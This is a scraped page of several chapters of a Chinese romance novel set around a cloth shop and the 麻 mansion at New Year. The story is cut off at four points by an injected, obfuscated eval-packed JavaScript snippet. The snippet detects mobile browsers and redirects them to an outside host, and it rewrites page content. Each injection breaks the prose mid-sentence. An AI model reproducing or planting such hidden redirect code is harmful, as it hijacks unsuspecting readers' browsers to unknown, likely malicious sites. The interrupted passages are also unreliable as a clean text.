;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034713|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谈皎道:“还可以。” 谈文翡道:“我年后去京都,不知道什么时候才回来。你要是有困难,随时联系我。” 谈皎却道:“走了好,别回来了。” 谈文翡轻轻一笑,道:“过年了,不肯祝福我吗?” 谈皎道:“外头没人奉承你了?” 他自讨没趣,笑了笑作罢,道:“凭玉回来吃年夜饭吗?” 谈皎像是没有听见他说话,凝神望着远方。谈文翡逆着她的盘发,看她小小侧脸。风把她两根鬓角拨得犹如倒吊的麦穗,摇曳不止。谈皎是很美的。 他们真正认识了二十余年,想来难免会恍惚。掌了权的女人是最恐怖的,因为范本稀少,无论做什么都琢磨不透,骇人又合理。 他从来不爱女人,哪怕是郁蕙心。 他也从来没把谈皎当作过女人。把她摆在男人的位置上,她是个利欲熏心的躯壳,是被腐蚀完了的鬼。 他甚至不能恨她。恨是一种微妙的许可,一类悄无声息的爱。家里兄弟姐妹,有两个已经被她拖下了水,其中谈凭玉运气好,死里逃生——他的世界里断然不能出现她的影子,他有名有利,有大把年华,不至于陪她暗无天日。 “凭玉死了。”她忽然开口。 想来又是她内心世界的色彩。谈文翡不置可否,起身要走。 谈皎叫住他:“能拜托你一件事吗?” 谈文翡回头道:“可以。” “你不是去京都?随便路过什么神社,替我求个福。” “求什么?” “我不挑的,毕竟我也不信。” 谈文翡走得早。谈皎独自坐至午夜,方才动身。 单龙在大厅值班,见了她,颔首问好道:“大小姐。” 谈皎掠过他,忽然脚步一顿,道:“我弟弟还好吗?” “少爷……” 单龙有些难堪,尴尬一笑,才道,“少爷好像在给人装金丝雀。” “让他去吧。” 其他人睡得都早,灯熄了大半,又不至于黑,公馆里混沌沌的,谈皎提着裙摆,一阶一阶上了楼。 62.除旧 布店的新年是从促销活动开启的,门外大字写优惠力度,又在店里挂了一通红布。客人络绎不绝,柜上兰香算账,偶尔算得有些出入,毕竟是新年,贺一声喜,也不计较了。 吃过午饭,才记起年货还在肉铺里,没人去拿。 自兰香剪了石头的辫子,尽管两家说着不计较,詹氏夫妇也没颜面光顾肉铺;好不容易熬到詹兰竹回来,立刻把如此活计托付了他。 今天詹兰竹忙上忙下,寒冬腊月竟大汗淋漓,便改派了俞平——其实俞平也是不能贸然去肉铺的,因为是坊间的五少奶奶,镇上许多要看热闹的店都不收他钱。新年钟声一响,大家都昏了头,无暇顾及,就算有人在天上飞,也当做是爆竹。 肉铺里头,石头远远看见他来,挥舞一根棒椎骨,道:“嗳!俞平!新年好!” 俞平道:“何姨年前置年货,一直忘了取,叫我过来。” “记着呢,少不了你们的!” 石头掀门帘钻进钻出,双手满满当当,这哪是一家五口的量?石头看他愣了,更是胸有成竹,嘿嘿笑一声,道:“城里人,见识少,吃冷盘,号称德国菜,不得把肠胃冰冻了。告诉你也不要紧,我老家在川渝,做的香肠最好吃。” 那香肠品相着实一流,俞平摸了荷包,有些窘迫,道:“谢谢你的好意……我们没有这么多钱。” 石头阔绰道:“大过年的提什么钱?这些都是送你们的。尽管拿去吃,不够再来找我。” 看俞平实在茫然,又道:“你要往哪里想?石小爷我可没五爷那般恶趣味,难得大发善心,行善积德。” 俞平不敢轻举妄动,由他跨出柜台,把几大包肉强硬塞进竹篮里。他嘱咐道:“不是给你的,是给詹兰香的。” “你不知道,兰香天天说要揍你!”俞平道,“难道她下手这么快,不但把你打了,还问你勒索香肠?这太过分,我会告诉老板的。” 谁知石头两眼发光,道:“我就是要她吃饱了,更有力气地揍我!” 俞平道:“你疯了?” “谁疯了?实话告诉你,我喜欢詹兰香。” 石头高深莫测道,“你不懂的,我就是看中她的泼辣,她不揍我,我还喜欢不上她呢。” “我疯了,一定是我疯了。” “这香肠不是白送给你们的,记得帮我打探她的口风,俞平!” 俞平灵魂出窍一路,回到布店,先看见年货堆得有天花板高,眼皮一跳——麻霆君正等他,目光多少炽热,叫他所有烦恼都抛之脑后了;他果真是爱着麻霆君的,心里有些感动,一声“霆君”含在口中,不料兰香横插一脚过来,幸灾乐祸道: “哎呀,俞平,五爷早早要来蹭我们的晚饭,留给你的鸡腿没有啦!” 胖子瞪眼:“小姑娘净会污蔑人,我们五爷缺你们一只鸡腿不成?” 瘦子横眉:“小姑娘心思大大坏,我们五爷是来帮忙打扫卫生的!” 兰香道:“大过年的,敢说我不好?” 阿吉趁乱打劫,拨开他们,先把俞平拉到身边,道:“俞平,五爷说去年麻烦你们不少。正好今天麻公馆还清闲,人多力量大,我们一起来帮你们大扫除了。” 俞平扫他们几人一眼,不信他们看不出来——他这阵子上麻公馆,总和麻霆君腻歪许久,谁都没个正形。Wilson半月来一次,年前小测麻霆君,阅卷时频频摇头。俞平难免发笑——慌什么?有他四爷坐镇,保麻霆君一路顺风。 可他们当真是殷勤照旧。他推测是麻霆君还没公之于众,便装着生疏道:“怎么有叫客人打扫卫生的?你们要打扫,我们担不起。” 詹兰竹一位一位沏茶过去,道:“是了,五爷,我们听广播谈天,不着急扫除。” 显然麻公馆的人是有备而来。一见俞平不肯满足,胖子瘦子出其不意地开始了吟唱: “我们五爷的心肠已经很善良了。” “我们五爷的意思已经很明白了。” 阿吉道:“大小姐,兰竹哥,俞平哥,五爷想帮你们打扫,就让他去吧。” 几人拦不住,真叫麻霆君握上了扫帚。他朝俞平笑一笑,刚往楼上跨,俞平便飘到他身后,悠悠道:“慢着,上什么楼?” 他没想到被俞平阻拦,动作有些许僵硬。幸而俞平背对众人,方便朝他隐秘一笑,道:“楼上存款子,敢放心让你一个外人去?” 瘦子忙道:“哎呀,俞平,我们五爷是来积德的,哪会贪图你们布店的钱!” 麻霆君却几步台阶合了一,一跃而下,道:“对不住,是我考虑不周。” 瘦子傻了眼。俞平再不动声色道:“布店常做扫除,只有天井脏点。” 麻霆君热情道:“你们布店讲卫生,再脏也脏不到哪里。正巧我来了,搭把手也是好的。” 俞平不废话,掀布帘请他去里屋,道:“请吧。” 大庭广众与麻霆君相处,手脚皆被收束着,非要叫一方布帘隔了,才自在不少。天井里唯独他们,俞平松懈着,音量不算小地道:“你真没告诉他们?” 麻霆君道:“我猜,你也不想这么着急公开。” “自己没担当,怎么赖我?” “一句话的事情。那我告诉他们了?” 俞平笑道:“不好。” 瘦子分量轻,被推出来,斗胆道:“嗳,你和五爷又有什么秘密,我们能知道吗?” 俞平装着头疼,道:“英文小测成绩,你们真不知道他考了多低!说出去还是我给他当助教,败我的名声了。” 瘦子道:“我们五爷脑子很灵光的,就是平时太忙,没多下点功夫。” “忙什么?”俞平笑道,“忙着谈情说爱?” 胖子打岔道:“我们公馆那句话可没变,‘我们五爷年方二二,仪表堂堂,待字闺中,洁身自好’,哪来的谈情说爱?不要太风声鹤唳了。” 麻霆君耸耸肩,笑而不语。他真会做家务事,先细细把地面整理干净,一眨眼又去绞抹布擦瓷砖,手脚麻利,使俞平目瞪口呆。 “看不出来,你有这么勤快?” 他踱步到麻霆君身边,笑道,“这少爷叫你当了,也真是浪费。” 麻霆君自信道:“再是少爷,也要学自力更生的本领,否则一点都不可靠了。不说继承家业,怎么对他人负责任?” 这话十足像是在讽刺谈小少爷没担当——俞平不往心里去,淡淡笑一笑,道:“凡有一粒灰尘,罚你晚上饿肚子。” 他也太不客气了,麻霆君脸上却灿烂无比。那几人不忍直视,纷纷背过身去,俞平睨他们一眼,见三个严严实实的后脑勺,扪麻霆君的下巴,无声地亲他一口。 麻霆君也回头侦察一番,立刻要来吻他。他退后一步,坏笑道:“唉呀,五爷这身材真好,穿冬装都挺拔。” 阿吉立刻□□:“我们五爷可是虎背蜂腰螳螂腿,古时候的将军都不及他!” 看一眼麻霆君眼色,又补充道:“来麻公馆拜年的宾客,没有一个说他不好的,都说五爷是他们见过最好的青年。” 俞平道:“哦,他很受欢迎?” 阿吉拍胸脯道:“像我们五爷这样抢手货,看准时机,早早下手。再晚些时日,不知道要被谁抢了走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044514|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “是。”俞平故意装灰心,感叹道,“要配五爷这么一个十全十美的人物,他的恋人的压力也太大了,不知是谁这么倒霉。” 阿吉慌张道:“怎么能是倒霉?能够和我们五爷喜结连理,不知道要做几辈子的好事!” 俞平道:“福祸相依么,说不定很辛苦。做少奶奶是要吞针的。” 一阵手忙脚乱里,阿吉先被发配去找兰竹兰香了。胖子堵在门口,赔笑脸道:“李喆这小鬼太嫩,哪懂什么爱情?他乱讲一通,你可别往心里去。” 瘦子也道:“你当了这么久狐狸精,应当清楚,五爷是顶天立地的好男儿,百毒不侵。李喆这小鬼太草包,几句花言巧语就能蛊惑了,近朱者赤,近墨者黑,你少理睬他。” 俞平貌似失落地拣了张板凳坐下,揣着手。胖子瘦子不敢上前,干脆帮忙干活。 后厨热水烧开,麻霆君听声响,顺手帮他灌了铜暖婆捂手,再去墙根拔了几株野花,花茎拧成一股圆圈,蹲下身,套在他手指上寻开心,小声道:“听他们开玩笑,你五爷多好还不知道?放一万个心。” 俞平咬着下唇笑,又弹他额头:“没怀疑你!” 麻霆君伏在他膝上笑一刻,吻了他的手,道:“等我一会,扫完天井,一定好好陪你。” 俞平道:“去楼上吧,天过下午就凉了。” 麻霆君道:“不是不准么?” 俞平朝他抛媚眼:“阁楼。” 那野花戒指太软,俞平摩梭一阵,险些散了架。想来翡翠扳指还放在楼上,又是怔怔地看了会花,把它收藏在口袋里。 整理过天井,一行人总算回了布店。今天打烊早,要款待贵客,店面被阿吉他们理干净,收拾出了吃饭的桌椅。詹兰竹在柜上对账,兰香叉腰,紧张地在一旁看着。 见他们来,她热情道:“五爷,我爹请你去厨房,再多点几个菜。” 麻霆君道:“随便对付一口,明年还要继续托你们帮忙的。” 兰香笑道:“咦,这又是送年货,又是大扫除的,晚上一口饭不多吃,岂不是我们家太不厚道?” 詹兰竹也道:“五爷,只要你们吃得高兴,我们一点都不麻烦。” 麻霆君便唤了胖子瘦子,道:“点菜你们在行,饭不是白吃的,都去帮忙。” 又自言自语道:“楼梯也脏,还有点时间,我去擦一遍。” 阿吉忙道:“五爷,楼梯是我打扫的。” 麻霆君道:“你干活毛手毛脚,我不放心。” 阿吉道:“楼梯是让人踩的,打扫再干净,马上又要脏了。” 平时都见他对五爷说一不二,这时偏活络在跟前。胖子察出不对,最后回头道:“李喆,你确实不太细心。做扫除要是不干净,岂还得了?我们五爷是为你好,免得落了话柄。” 兰香撺掇阿吉去柴房拣柴火,笑道:“嗳,五爷真勤快!也不知道是谁运气好,最后做了五少奶奶,真是有无穷尽的福好享。是不是,俞平?” “是。”俞平轻描淡写道,“谁是五少奶奶,当然要叫五爷来预言了。” 麻霆君笑道:“以后的事情,没人说得准。不过我一定有决心和他白头偕老。” 兰香笑道:“真肉麻!” 俞平道:“这楼梯是个大工程,从哪里开始扫?” 兰香道:“你也是享福的,一点常识没有,当然是从阁楼往下扫了。” 这两人便一道往楼上走,起初还蹑手蹑脚,到后来都难以忍受,几大阶连在一起跨,恨不得有一步登天的本领。麻霆君先钻进阁楼,俞平其后把门关得严实。 63.澎湃 门关得比平时都牢,俞平却怕人看见似的,还把麻霆君挤到角落,才亲一亲嘴。 吻了个初具雏形,他立刻推开麻霆君,嗔道:“背着我吃什么了,嘴里这么甜?” 麻霆君再扭着他的下巴,他不肯,硬生生垂下头。麻霆君便啄他的额头,道:“巧克力豆,比利时产的。都给你预备好了,放在我家里。” “吃独食就算了,预备好了怎么不来送?” “等你来我家吃饭呢。” 俞平仰起脸,最后用力吻他一次,笑道:“少爷家里过年,办得再轰轰烈烈,也轮不着我们。” 麻霆君道:“不一样,你是我的人。” 俞平被他哄得膝盖软,站不住——阁楼却堪称家徒四壁,最近才添一张破椅子,坐上去摇摇欲坠的,换作麻霆君必然要倒塌了。许是个说话的地方都没有,俞平无从下手一阵,简单收了床铺,把麻霆君赶到床尾,挨着他坐了。 麻霆君搂着他,他难得顺从,一言不发,叫麻霆君心花怒放,道:“这么黏我?” 俞平道:“这副身材就是给人依靠的,否则你长怎么壮做什么?” 末了看麻霆君实在飘飘欲仙,他伸手要拧麻霆君的脸,却被麻霆君一把捉了,笑着翻他的手心,一根一根指尖捏过来,道:“当然是预备给你的,我的平儿。” 俞平道:“兰香说得对,你是真肉麻。” 麻霆君笑道:“我都是肺腑之言。真是叫你反胃了,便是我嘴巴的毛病。给你咬一口出气,要么?” 俞平要讲正事,懒得和他调情,潦草亲过他算数,又道:“吃饭的事,你和家里商量好了?” 麻霆君道:“座次都写好了,先是‘俞平’,再是我‘麻霆君’,我们是一块坐的。” “我还真有点不想来。” 俞平撇开他的手,怕是拒绝得叫人不乐意,撒着娇道,“麻公馆可没我这里一亩三分地自在,拉个手都要提防三分。要是你那一大家子都生我的气,我被赶出鹭镇,你陪我吗?” “我爹都认你了,谁敢说你不好?” 麻霆君挠了会他的下巴,又道,“不过你说的也是,总是要和他们坦白的。上回和我爹太不清不楚,挑个机会,好好告诉他。” 俞平笑道:“嗳,不是我问你讨名分,是你自己迫不及待。” “是我最着急。”麻霆君笑道,“平儿,我起初是想银行发展了,再和他们去提,这样经济独立出去,也有底气。” 俞平便道:“你都决定好了,还来问我干嘛?” 麻霆君道:“我当然要征求你的意见!你不发话,无论我做什么决定,都不作数的。” “也没必要太隆重,真当他们都瞎了眼?我猜所有人都知道这事,蒙在鼓里的只有我们两个。” “这话说得不好。喜欢一个人,怎么藏得住?” “还不是你太笨。” 俞平与他胡闹着,突然想起银行之事——那银行什么底细,未尝不是谈文翡的一时兴起,叫这呆子欢天喜地接了来,简直心寒几分。便实在不敢恭维他的承诺,试探道:“要是银行一辈子亏钱,我们是不是永远见不得光了?” 麻霆君默不作声,小心翼翼掏一阵他的口袋,把那蔫了的野花戒指摸出来,郑重套在他中指上,道:“嗳,我怎么可能叫你受委屈?” 幸而他是谈凭玉——他心里感慨良多,却道:“拔几根杂草要和我私定终身了,我有这么廉价?” 话虽说着,倒是兴高采烈地翻来覆去看着,笑道:“丑话说在前,我肯定不跟你同甘共苦。” 麻霆君吻他的耳朵,道:“真沦落到风餐露宿了,我也给你当床铺。” 俞平道:“唉呀,谁要睡在你身上?想想都难受。” 话音刚落,麻霆君双臂早暗暗环住他的腰,把他抱在自己膝上,又猛然往床上躺倒。俞平床窄,他滚不了半圈,嬉戏打闹得不尽兴,便重新坐起来,道:“你这床太推扳,我给你买张新的。保证你一躺下去就睡得熟,夜夜好梦。” 俞平笑道:“嗳,五爷与我无亲无故,为我买新床——五爷敢买,我还不敢睡呢。” 麻霆君道:“那只好多委屈你,和我挤在一起了。” “之前在友好饭店我准,你不肯,现在居然知道反悔了。谁给你这个机会?我最近可都没兴致。” 俞平要推开他,无奈心里被他烤得软化了,说话做事都软软绵绵;他正是不想俞平逃脱,收束得愈加紧了些。 “那么,再给我抱一抱。” 他下巴抵着俞平的肩,自己不好意思地先笑了,语气黏糊地道,“平儿宝贝,宝贝平儿,你讲得清楚么,我怎么有这么喜欢你?” 俞平轻笑道:“唉,我真成狐狸精了。” 二人再亲热一阵,草草收拾了楼梯,一前一后下去吃晚饭。 多了四只饭碗,菜肴也比平时丰盛,饭桌小,便把瓷盘叠起罗汉。詹兰竹为他们一人开了瓶汽水,道:“五爷,谢谢你们来帮忙大扫除。今天虽不是除夕夜,既然大家来了,我们就当作新年过。” 麻霆君笑道:“小事一桩,以后还有什么家务事,都可以叫我。” 俞平道:“老板,别听他的,请他吃三天的饭,能把布店的老底吃光。” “吃多了才有力气干活!” “你干什么活?英文单词都记不住几个。” 詹兰竹不敢抬头,兰香拼命忍笑。唯有詹氏夫妇看他们打情骂俏,真以为是兄弟情深。 何氏为他们盛饭,道:“五少爷,俞平,都多吃点。” 麻霆君笑道:“大家认识这么多年,‘五少爷’叫得太生疏,不如直接叫我麻霆君了。” 詹老板道:“这不太好,再是熟悉,也不能丢了礼仪。” 阿吉插空道:“这有什么?詹叔,大家迟早都是一家人。” 诚然他坐得离布店二小姐太近,兰香嗅出火药味,赶紧离他远了远。他哪知自己弄巧成拙,赶忙又道:“嗳,我是只耗子,叫你们捉了来寻开心的。要和你们成一家的,另有其人。” 胖子瘦子不乐意,交替道: “轮得着你说话?” “用的了你多嘴?” 阿吉作揖道:“本人是只耗子,刚才说得都不作数。” 詹兰竹笑道:“都说强扭的瓜不甜,五爷,既然我们都喜欢叫你五爷,不如先这样受着,以后有时机,甜瓜多的是。” 麻霆君笑道:“五爷就五爷,我打心眼里,你们都是我的兄弟姊妹。” 俞平低头衔吸管,偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15053375|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸着向他道:“布店又不是我的家,我还是个长工呢!你迫不及待要成干儿子,亏了也没处伸张。” 麻霆君借夹菜的机会,凑来他耳畔,道:“我就是喜欢你,你的一切我都喜欢、都要参与!” 俞平忍俊不禁,笑容跌进吸管,往汽水瓶子里炸出几个泡。 蒸笼上香肠热了,詹兰竹去切了一盘来。兰香首当其冲夹了,吃得实在是欢。俞平有口难言,又不想打扰了她的食欲,也尝了一块。 再伸筷子,不料和兰香的打了架,兰香顺着筷子寻他,哎唷一声道:“俞平,你的嘴怎么肿成这样?” 俞平随便地道:“香肠太辣了。我不会吃辣。” 余光看见麻霆君的耳朵不打自招地红了——他嫌麻霆君不争气,掩人耳目,为桌上每人夹了一块,道:“这是川渝的香肠,很出名,大家都尝一尝。” 胖子道:“不得了,俞平真体贴!” 瘦子道:“老天爷,俞平真贤良!” 阿吉起哄道:“不是说我们五爷是贵客,俞平哥,你怎么给他挑了快最小的?” 麻霆君道:“筷子又不长眼,心意到了就好。” “说得我多么亏了你似的。” 俞平笑道,“不吃香肠了。五爷还没吃过鱼,我挑挑哪一块好。” 言罢,手掌轻飘飘地搭上他身子,蚀骨销魂。顶上筷子探到鱼腹处,为他拨鱼皮挑鱼肉,道:“我真不会吃鱼,分辨不出。五爷请看,这块怎么样?” 麻霆君悬空翘了腿,其间给他留足余地,含糊道:“有点偏。” 俞平索性往他大腿根上狠狠掐一把,察出他正咬紧牙关忍受,又嗤笑道:“我看来都是一式一样的,到底分不清楚。请五爷自便吧。” 何氏笑眯眯夹菜,道:“嗳,五少爷,我说这块好。” 又给俞平夹了:“平儿,这块能排第二。” 俞平听麻霆君丝丝抽着冷气,笑道:“谢谢老板。” 兰香道:“怎么还叫老板?也叫爹娘算了,我和哥哥都是把你当弟弟的,我爹娘未免没把你当儿子。” “是。”詹老板笑道,“俞平,你若是愿意,不如改口叫爹娘了。” 兰香不管他什么意见,笑道:“听见没,‘谢谢娘’,要说谢谢娘。” “谢谢……”俞平红了脸,支吾一阵,道,“还是谢谢何姨吧。谢谢何姨,谢谢詹叔。” 兰香道:“嗳,这还稍微有点人情味。” “五爷也多吃点。” 麻霆君夹了,响亮道:“谢谢娘!” 一时间相继无言。 * “我不喜欢石头啊!” 兰香惨叫一声,“我真的不喜欢他啊!” 詹兰竹道:“算了,感情这种事也说不清楚,你以后别去招他了。” 兰香道:“那我还要上小姜家一趟,把采他家山茶花的计划取消了。” “他家怎么什么都有,一年四季折腾不完。” 俞平道,“你也是有出息。” 兰香站起来还不够,要踩到桌子上,叉腰道:“都不准骂我!” 她要出门,才踏出门槛,再绕回来,发出弱小的声音:“这香肠还能吃吗……” “吃吧,吃吧。” 64.迎新 麻公馆新年办流水席,俞平最讨厌如此人多手杂的场合——细究这讨厌,总归是从小到大冷清惯了,太不习惯,便趴在桌子上,见麻霆君一位一位敬酒过去,倒是真心第一次佩服他。 胡思乱想的时候,有人往他肩上拍了拍: “俞先生,您好。” 如此拘谨的声音只有颜青发的出来。俞平回头果真看他。 跟在颜青身后的还有个少年,面容白净,气质文静。那白开水似的面孔,和俞平比在一起,简直被湿毛巾抹去了五官。少年也知道如此悬殊,以为是颜青旧病复发,当着他面也不忘招蜂引蝶,一撅嘴,背过身去生闷气。 颜青再哄他几句,好不容易把他哄开心了,唤了个丫鬟带他榨果汁玩,再来俞平身边。他看俞平俊美更甚,心有余悸,不禁出一身冷汗,拘谨地道:“俞先生,近来可好?” 俞平道:“还不错?” 颜青双手合十,朝他拜了又拜,掏出个厚厚的红包,道:“这是我的一点薄礼,请您务必收下。” 俞平道:“无功不受禄,心意我领了,红包请退回去吧。” 颜青当他假意客套,要把红包往他怀里赛。俞平不想同他推三阻四,果断摊了牌,道:“我本就是仗四爷的名头狐假虎威,又早和他一刀两断了,你奉承我没用。倒不如留着这钱,多去做些好事。” 颜青是一听“四爷”的名号就昏头,谢了他几回,回身指那白净少年给他看,又道:“您看,他是我现在的男友,我们恋爱足足五十天,感情很是稳固。我立志洗心革面,再也不做偷鸡摸狗之事了……还请您大人有大量,过去的事情,就让它过去吧。” “恭喜。”俞平笑道,“五爷知道这事吗?” 颜青才记起自己害怕得发了狂,来时一路,脑海中净是和俞平赔不是,竟忘了把喜事告诉好兄弟。当即再唤了个丫鬟,向麻霆君传话。 那头麻霆君敬酒敬到末几桌,回身朝他们咧嘴笑一笑,把围巾挂到腰腹的一头甩至肩颈后,大步流星而来。 俞平托着下巴,盯着远处。颜青心说他是沉思,实则却是不接受他以这般眼神望着麻霆君。他忽然道:“霆君好俊哦——” 颜青还听他最后轻轻笑了声,语气也比平时痴不少,看在眼里,心惊肉跳在身体里,一口冷气堵了喉咙,许久方缓和道:“俞先生,您真是独具慧眼。我们霆君……我们霆君确实仪表堂堂。” 麻霆君来到他们跟前,拍了颜青的肩,笑道:“什么时候到的,怎么不来找我?” 颜青道:“才到呢,看你忙不过来,先不打扰了。” 麻霆君道:“我姐姐和姐夫呢?” 颜青无心与他讲话,木讷道:“来了,都来了。” 俞平起身,与麻霆君并肩站在一块,不自觉地往他身上靠,头也歪向他,朝他笑道:“嗳,有喜讯宣布。” 麻霆君也向俞平微笑,温柔道:“哦,那是要好好听颜青讲一讲。” 颜青汗如雨下。 周遭热闹得沸沸扬扬,俞平瞄一眼,他们这一方虽是前几桌,真正光顾的人不比后面更多,带些大隐隐于市的清净,更没有人刻意关注他们,便飞快地道一声“颜少爷”。 颜青急忙看他。他抓准时机,在麻霆君脸颊上飞快亲了口,笑道:“看清楚了?” 麻霆君脸上被他嘴唇一冰,条线反射地摸着他的吻痕,报以羞涩一笑,道:“所以不是颜青的喜讯,是我们的?” 俞平道:“我也没说过是他吧。” 麻霆君定是想轰轰烈烈和他吻一场,可惜大庭广众,不好随心所欲,便克制着摸了摸他的头。 唯独颜青——是谁有正事宣布,是喜讯是噩耗,一切都无关紧要了,脑海中净是四爷所及的腥风血雨,再看向麻霆君,他泪眼婆娑,哽咽道:“兄弟……兄弟……” 麻霆君微微皱眉,笑道:“平儿和我成了恋人,你又怎么了?不是说好自愿退出么。” 俞平道:“他新欢都有了!情比金坚,足足五十天。” 他扳麻霆君的脸看他们榨果汁。趁麻霆君眯着眼的功夫,他仗着冬衣厚实,底下牵了麻霆君的手,道:“看这么认真做什么?你的眼睛只准看我。” 麻霆君笑道:“这是自然,我整个人都是你的。” 一番你侬我侬,才想起有个人被他们踢出去许久。俞平笑两声,道:“嗳,颜少爷,怎么哭成这样?” ——枢城前阵子有传闻:谈四爷谈凭玉,不务正业,去东洋做尽下三滥之事,总算被捉拿归案,近期预备凯旋归来。然而他那烂摊子永无止境,据说他还要带一位花魁中的花魁回谈公馆,明媒正娶了,做谈四奶奶。 颜青做贼心虚,只觉得是四爷失了俞平后肆意发泄。仗着大哥的名义,斗胆去商会旁听,散会后不肯走,足足等了三个钟头,才挨到商会会长谈文翡身边一面。 都知道谈家归了谈皎当家,谈文翡已然日薄西山,奉承他的人竟更多,不知是来搏一份雪中送炭的恩情,抑或谈文翡个人魅力太盛。 颜青稍作寒暄,开门见山道: “四爷是不是养小白脸?” 得来斩钉截铁的答案:从来没有过。 却见谈文翡面上淡淡的,看不出心情,实则怨气滔天,想来也是不怒自威。郁蕙心说过他和谈凭玉争俞平一人,惨遭失败。他现在照旧这般瘆人,必当是回想起了俞平——都是俞平惹的祸! 俞平插足谈家兄弟,叫强者双双为他折腰,算他逞英雄豪杰;蛊惑到麻霆君头上,叫这毛头小子如何承受?古时宫廷将相明争暗斗,不论成败,只叫一个“兴,百姓苦,亡,百姓苦[1]”,进退皆是民不聊生,可怜麻霆君,死心塌地做了这狐狸成仙前的一具枯骨。 兄弟情深一场,远远预见麻霆君这般结局,颜青已然泣不成声:“兄弟保重……” 麻霆君不解其意,当他放不下俞平,笑着离俞平挨得更近,道:“放心,我会待俞平好的。等一切稳定了,银行顺利开张,必然请你来剪彩。” 颜青道:“兄弟……” 麻霆君迟疑一刻,又道:“哭什么?日后大家都是邻居,你想见我,想见俞平,随时都可以。我们很欢迎你。” 颜青流尽几滴眼泪,紧紧抱了麻霆君,道:“兄弟!我的兄弟!” 至于这般生离死别?俞平看得无语凝噎,想来颜青主演的这场悲剧里,他谈凭玉才是真正的受害者;却也不想听颜青继续煽情,把麻霆君拉回身旁,俯身贴在颜青耳边,轻声道:“颜少爷,他日四爷若来追责,还请多帮忙周旋。” 颜青顿时被一顿天打雷劈,成了枯骨一具,什么都说不出来了。 俞平后退至麻霆君身旁,故意大声道:“颜少爷,答应好了,一定帮帮忙。” 颜青才喃喃道:“好,好。” 他与麻霆君和俞平告别,一阵风似地溜到新男友旁,不久后看那白净少年也回头看他们,惊得掉了下巴——倘使讲实情,他们岂不是不要生活了?俞平冷笑着。 少顷麻霆君贴来,借说悄悄话的名义,用手遮挡,亲起他的耳廓,道:“平儿宝贝,你要他帮什么忙?” 俞平心里一点刻薄被他消化掉,温声道:“秘密。” “我做不成吗?” “做不成。” 见麻霆君稍稍有些气馁,俞平睁一只眼,闭一只眼,摆个漂亮表情,笑道:“我想请他做我们的见证人。” 又道:“我很认真看待这段感情,想和你长长久久地在一起。不知道你怎么想?” 麻霆君立刻道:“我也很愿意!” 颜青走了,没个堂而皇之说话的机会,他们却还在一起,难免有些引人注目。麻霆君不明不白环上他的肩膀,顺着流水席走,道:“我还有点客人没招待完。” “要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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麻霆君气在心里,不与她们计较,只道:“我和平儿的事情,我问心无愧,轮不着你来关心。” 又道:“倒是你,说要去枢城念大学,怎么没个后话?” 麻秋棠脸红一阵,便道:“嗳,俞平,我哥年后去枢城买房,有没有告诉你?” 俞平佯装得惊讶,道:“我可从来没听他提起过!” 麻秋棠道:“我哥哥向来不是能够保守秘密的,你居然不知道?我当是你们的婚房呢。” 俞平故意捂了嘴,只漏出一双眼,半垂着眼眸。 丫鬟写道:“麻霆君糟蹋了俞平,却不肯负责,火急火燎地去找下一家。这苍茫大地,没有一处供俞平落脚……俞平环抱双臂,拖着残破之身,想来自己不再清白,懊悔不已。” 麻霆君忍无可忍,道:“真是够了,少搬弄是非!我自有我的安排,不会亏欠了谁!” 麻秋棠看了他神色,洋洋得意地对俞平道:“你当心一点!他要是在枢城另寻新欢,把你扫地出门,赶回鹭镇,孤寡一人,有得好掉眼泪!” 麻霆君怒道:“麻秋棠,今年红包没少你!” 麻秋棠笑道:“你先把他哄好再说吧!” 她们走得是轻松,麻霆君这里全然方寸大乱,遭她们一编排,真成了负心汉似的。忙把俞平拐远了,委屈道:“我的平儿,别听她们胡说八道,我是什么心思,你还不好看破吗?” 又道:“若是要买房,户型、地段、价钱,要顾及的事情太多。我已经去了枢城很多趟,是不想你和我一起受累,才一直保密着。等我最后物色好几家,请你来做决定,什么都不会少你的!” 俞平藏不住笑,撇过头,抿嘴一刻,道:“我也没说什么,你却急成这样了?” 麻霆君才清楚又被耍了一回——要是俞平能够拿他寻开心,倒也无所谓。便双手合十,笑道:“哎呀,我冤枉!我恨不得钻到你的心里去,从头到尾都叫你看得明明白白。” 俞平笑道:“不必费这功夫,你讲一句爱我,我就当不知道这回事。” 麻霆君连声道:“我爱你!我最爱你!” 正嬉闹着,来了个佣人,道:“五爷,楼上来电话,指名道姓请你和俞平一起去。” 65.蜜糖 